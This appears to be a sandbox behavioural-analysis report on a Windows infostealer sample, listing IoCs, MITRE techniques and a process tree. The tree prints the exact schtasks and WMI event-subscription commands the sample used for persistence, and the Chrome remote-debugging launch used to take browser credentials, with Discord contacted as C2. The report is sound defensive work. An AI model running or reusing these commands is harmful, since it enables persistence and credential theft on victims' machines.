fe0111ce38a971bccc1a5ea002c3975575e3c67fe721299bfa7f61588f06ee63

pid	Process
1716	chrome.exe
2384	chrome.exe
1204	chrome.exe
5016	chrome.exe
4368	chrome.exe
2484	chrome.exe
3060	chrome.exe
3196	chrome.exe
4664	chrome.exe
4980	chrome.exe
4940	chrome.exe
3524	chrome.exe
2524	chrome.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft77067138.lnk	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe

Executes dropped EXE 1 IoCs

pid	Process
2176	AVCEncoder.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
123	discord.com
124	discord.com
125	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
110	api.myip.com
111	api.myip.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1228	powershell.exe
2508	powershell.exe
3960	powershell.exe
5116	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4132	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1680	NETSTAT.EXE

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237961770058527"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2524	chrome.exe
2524	chrome.exe
1228	powershell.exe
1228	powershell.exe
2508	powershell.exe
2508	powershell.exe
4952	powershell.exe
4952	powershell.exe
3488	powershell.exe
3488	powershell.exe
2312	powershell.exe
2312	powershell.exe
4628	powershell.exe
4628	powershell.exe
2940	powershell.exe
2940	powershell.exe
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe
2752	powershell.exe
2752	powershell.exe
3960	powershell.exe
3960	powershell.exe
5116	powershell.exe
5116	powershell.exe
1760	powershell.exe
1760	powershell.exe
856	powershell.exe
856	powershell.exe
4164	powershell.exe
4164	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2580	wmic.exe
Token: SeSecurityPrivilege	2580	wmic.exe
Token: SeTakeOwnershipPrivilege	2580	wmic.exe
Token: SeLoadDriverPrivilege	2580	wmic.exe
Token: SeSystemProfilePrivilege	2580	wmic.exe
Token: SeSystemtimePrivilege	2580	wmic.exe
Token: SeProfSingleProcessPrivilege	2580	wmic.exe
Token: SeIncBasePriorityPrivilege	2580	wmic.exe
Token: SeCreatePagefilePrivilege	2580	wmic.exe
Token: SeBackupPrivilege	2580	wmic.exe
Token: SeRestorePrivilege	2580	wmic.exe
Token: SeShutdownPrivilege	2580	wmic.exe
Token: SeDebugPrivilege	2580	wmic.exe
Token: SeSystemEnvironmentPrivilege	2580	wmic.exe
Token: SeRemoteShutdownPrivilege	2580	wmic.exe
Token: SeUndockPrivilege	2580	wmic.exe
Token: SeManageVolumePrivilege	2580	wmic.exe
Token: 33	2580	wmic.exe
Token: 34	2580	wmic.exe
Token: 35	2580	wmic.exe
Token: 36	2580	wmic.exe
Token: SeIncreaseQuotaPrivilege	2580	wmic.exe
Token: SeSecurityPrivilege	2580	wmic.exe
Token: SeTakeOwnershipPrivilege	2580	wmic.exe
Token: SeLoadDriverPrivilege	2580	wmic.exe
Token: SeSystemProfilePrivilege	2580	wmic.exe
Token: SeSystemtimePrivilege	2580	wmic.exe
Token: SeProfSingleProcessPrivilege	2580	wmic.exe
Token: SeIncBasePriorityPrivilege	2580	wmic.exe
Token: SeCreatePagefilePrivilege	2580	wmic.exe
Token: SeBackupPrivilege	2580	wmic.exe
Token: SeRestorePrivilege	2580	wmic.exe
Token: SeShutdownPrivilege	2580	wmic.exe
Token: SeDebugPrivilege	2580	wmic.exe
Token: SeSystemEnvironmentPrivilege	2580	wmic.exe
Token: SeRemoteShutdownPrivilege	2580	wmic.exe
Token: SeUndockPrivilege	2580	wmic.exe
Token: SeManageVolumePrivilege	2580	wmic.exe
Token: 33	2580	wmic.exe
Token: 34	2580	wmic.exe
Token: 35	2580	wmic.exe
Token: 36	2580	wmic.exe
Token: SeIncreaseQuotaPrivilege	4720	wmic.exe
Token: SeSecurityPrivilege	4720	wmic.exe
Token: SeTakeOwnershipPrivilege	4720	wmic.exe
Token: SeLoadDriverPrivilege	4720	wmic.exe
Token: SeSystemProfilePrivilege	4720	wmic.exe
Token: SeSystemtimePrivilege	4720	wmic.exe
Token: SeProfSingleProcessPrivilege	4720	wmic.exe
Token: SeIncBasePriorityPrivilege	4720	wmic.exe
Token: SeCreatePagefilePrivilege	4720	wmic.exe
Token: SeBackupPrivilege	4720	wmic.exe
Token: SeRestorePrivilege	4720	wmic.exe
Token: SeShutdownPrivilege	4720	wmic.exe
Token: SeDebugPrivilege	4720	wmic.exe
Token: SeSystemEnvironmentPrivilege	4720	wmic.exe
Token: SeRemoteShutdownPrivilege	4720	wmic.exe
Token: SeUndockPrivilege	4720	wmic.exe
Token: SeManageVolumePrivilege	4720	wmic.exe
Token: 33	4720	wmic.exe
Token: 34	4720	wmic.exe
Token: 35	4720	wmic.exe
Token: 36	4720	wmic.exe
Token: SeIncreaseQuotaPrivilege	4440	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2524	chrome.exe
2524	chrome.exe
2524	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 432 wrote to memory of 2476	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	89
PID 432 wrote to memory of 2720	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	91
PID 432 wrote to memory of 2580	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	95
PID 432 wrote to memory of 4720	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	99
PID 432 wrote to memory of 4440	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	101
PID 432 wrote to memory of 3488	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	103
PID 432 wrote to memory of 4828	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	105
PID 432 wrote to memory of 3948	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	107
PID 3948 wrote to memory of 5088	3948	net.exe	109
PID 432 wrote to memory of 2524	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	112
PID 2524 wrote to memory of 2892	2524	chrome.exe	113
PID 2524 wrote to memory of 1656	2524	chrome.exe	114
PID 2524 wrote to memory of 1656	2524	chrome.exe	114
PID 2524 wrote to memory of 4132	2524	chrome.exe	115
PID 2524 wrote to memory of 3020	2524	chrome.exe	116
PID 2524 wrote to memory of 3020	2524	chrome.exe	116
PID 2524 wrote to memory of 1716	2524	chrome.exe	117
PID 2524 wrote to memory of 1716	2524	chrome.exe	117
PID 2524 wrote to memory of 2384	2524	chrome.exe	118
PID 2524 wrote to memory of 2384	2524	chrome.exe	118
PID 2524 wrote to memory of 1204	2524	chrome.exe	119
PID 2524 wrote to memory of 1204	2524	chrome.exe	119
PID 2524 wrote to memory of 1680	2524	chrome.exe	120
PID 2524 wrote to memory of 1680	2524	chrome.exe	120
PID 2524 wrote to memory of 4980	2524	chrome.exe	138
PID 2524 wrote to memory of 5016	2524	chrome.exe	123
PID 2524 wrote to memory of 5016	2524	chrome.exe	123
PID 2524 wrote to memory of 3196	2524	chrome.exe	125
PID 2524 wrote to memory of 3196	2524	chrome.exe	125
PID 2524 wrote to memory of 2352	2524	chrome.exe	126
PID 2524 wrote to memory of 2352	2524	chrome.exe	126
PID 2524 wrote to memory of 3392	2524	chrome.exe	127
PID 2524 wrote to memory of 4368	2524	chrome.exe	128
PID 2524 wrote to memory of 3392	2524	chrome.exe	127
PID 2524 wrote to memory of 4368	2524	chrome.exe	128
PID 2524 wrote to memory of 2484	2524	chrome.exe	130
PID 2524 wrote to memory of 2484	2524	chrome.exe	130
PID 2524 wrote to memory of 4664	2524	chrome.exe	131
PID 2524 wrote to memory of 3564	2524	chrome.exe	132
PID 2524 wrote to memory of 4664	2524	chrome.exe	131
PID 2524 wrote to memory of 4620	2524	chrome.exe	133
PID 2524 wrote to memory of 3564	2524	chrome.exe	132
PID 2524 wrote to memory of 4620	2524	chrome.exe	133
PID 432 wrote to memory of 4296	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	134
PID 4296 wrote to memory of 1680	4296	cmd.exe	136
PID 4296 wrote to memory of 4992	4296	cmd.exe	137
PID 2524 wrote to memory of 4980	2524	chrome.exe	138
PID 2524 wrote to memory of 3328	2524	chrome.exe	139
PID 2524 wrote to memory of 4980	2524	chrome.exe	138
PID 2524 wrote to memory of 3328	2524	chrome.exe	139
PID 2524 wrote to memory of 3060	2524	chrome.exe	140
PID 2524 wrote to memory of 4996	2524	chrome.exe	141
PID 2524 wrote to memory of 3060	2524	chrome.exe	140
PID 2524 wrote to memory of 4996	2524	chrome.exe	141
PID 2524 wrote to memory of 4940	2524	chrome.exe	142
PID 2524 wrote to memory of 4940	2524	chrome.exe	142
PID 2524 wrote to memory of 3524	2524	chrome.exe	143
PID 2524 wrote to memory of 3524	2524	chrome.exe	143
PID 432 wrote to memory of 1228	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	144
PID 432 wrote to memory of 2508	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	146
PID 432 wrote to memory of 4952	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	148
PID 432 wrote to memory of 3488	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	151
PID 432 wrote to memory of 2312	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	155
PID 432 wrote to memory of 4628	432	2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe	160

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-16_86e553ef068008b89092d705270b310b_akira_icedid_rusty-stealer_ryuk.exe"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Query /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work." /V /FO LIST
  2⤵
  PID:2476
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work." /TR C:\Users\Admin\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_5wekyb278bbwe\lib\AVCEncoder.exe /SC MINUTE /MO 8 /ST 01:16 /RL HIGHEST /F /RU DIJHFWDH\Admin /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __EventFilter WHERE Name='BVTFilter2f7f42c8' GET Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2580
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __EventFilter CREATE "Name='BVTFilter2f7f42c8', EventNameSpace='root\\\\cimv2', QueryLanguage='WQL', Query='SELECT * FROM __InstanceModificationEvent WITHIN 71 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System''"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH CommandLineEventConsumer CREATE "Name='BVTConsumer2f7f42c8', CommandLineTemplate='C:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsCamera_7wekyb428bbwe\temp\WindowsCamera.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __FilterToConsumerBinding CREATE "Filter=\\\"__EventFilter.Name=\\\\\\\"BVTFilter2f7f42c8\\\\\\\"\\\" , Consumer=\\\"CommandLineEventConsumer.Name=\\\\\\\"BVTConsumer2f7f42c8\\\\\\\"\\\""
  2⤵
  PID:3488
- C:\Windows\system32\whoami.exe
  "whoami"
  2⤵
  PID:4828
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --profile-directory="Default" --disable-gpu --new-window --remote-debugging-port=9652 --remote-debugging-address=0.0.0.0 --no-first-run --no-default-browser-check --disable-features=IsolateOrigins,site-per-process,SitePerProcess --mute-audio about:blank
  2⤵
  - Uses browser remote debugging
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1efc728,0x7fffe1efc734,0x7fffe1efc740
    3⤵
    PID:2892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1720,i,7081125365318118704,6032983456989761663,262144 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=1896 /prefetch:2
    3⤵
    PID:1656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=2116,i,10875138963889114160,17027945511371796673,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,3941528747580989685,8142193873807084142,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:8
    3⤵
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,4536907196905810935,5448974181865874081,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3620,i,4827498998427488687,19247093113056802,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:2384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4520,i,16521328998684484804,8142266968220852807,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:1204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=4496,i,15318391660502527530,15562329252630138913,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:8
    3⤵
    PID:1680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,4770230639614391630,5932318833480854201,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:8
    3⤵
    PID:4980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5380,i,14055850646958147740,13049664470342727496,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5572,i,12638104607875359821,14446419649445561184,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5652,i,7348819169158776364,8611715100943324754,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:8
    3⤵
    PID:2352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5336,i,6087747378744017680,8235925911178445473,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:8
    3⤵
    PID:3392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5864,i,16512213360189236097,1760841984635977095,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5572,i,12838391102410289783,4957987079956808710,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9652 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5280,i,4226201240728955593,7435364777509819972,2097152 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,9810501769487894443,3678530517010682866,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:8
    3⤵
    PID:3564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\1bba71d8d204f9f5" --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,9562820424120602441,14838596276700256796,524288 --field-trial-handle=1900,i,10174707375513123674,13451705694616364871,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:8
    3⤵
    PID:4620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
